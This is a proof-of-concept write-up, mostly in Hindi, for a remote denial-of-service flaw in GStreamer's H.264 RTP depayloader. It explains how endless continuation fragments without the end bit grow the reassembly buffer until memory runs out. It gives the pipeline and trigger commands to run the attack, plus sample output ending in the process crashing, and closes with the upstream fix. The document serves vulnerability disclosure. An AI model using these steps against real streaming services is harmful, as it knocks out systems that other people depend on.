
Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay).
GStreamer के H.264 RTP depayloader (rtph264depay) में संसाधन समाप्ति भेद्यता के लिए अवधारणा का प्रमाण। यही पैटर्न rtph265depay को भी प्रभावित करता है।
H.264 FU-A खंडित RTP पुनर्संयोजन के दौरान, प्रत्येक आने वाला खंड बिना किसी आकार सीमा के एक आंतरिक GstAdapter बफर में डाल दिया जाता है। एडेप्टर केवल तभी फ्लश होता है जब FU हेडर में अंत-खंड (E) बिट सेट होता है। एक दूरस्थ हमलावर एक मान्य प्रारंभ खंड भेजता है, फिर निरंतरता खंडों की एक अंतहीन धारा भेजता है जबकि E बिट कभी सेट नहीं करता। बफर तब तक बढ़ता रहता है जब तक प्रक्रिया की मेमोरी समाप्त नहीं हो जाती और वह क्रैश नहीं हो जाती।
पूर्ण विवरण: 0xsemizzz.vercel.app/projects/gstreamer-cve
अपस्ट्रीम फिक्स से पहले gst-plugins-good। 1.28.2 (Ubuntu 24.04) पर पुष्टि की गई।
एक पाइपलाइन शुरू करें, फिर PoC चलाएं:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
तेजी से क्रैश के लिए, मेमोरी सीमा जोड़ें:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
rtph264depay और rtph265depay में एक max-reassembly-size गुण जोड़ा गया। अनुप्रयोगों को इसे एक उचित मान पर सेट करना चाहिए (वीडियो के लिए 16 MB सामान्य है)। पिछड़े संगतता के लिए डिफ़ॉल्ट 0 (असीमित) है।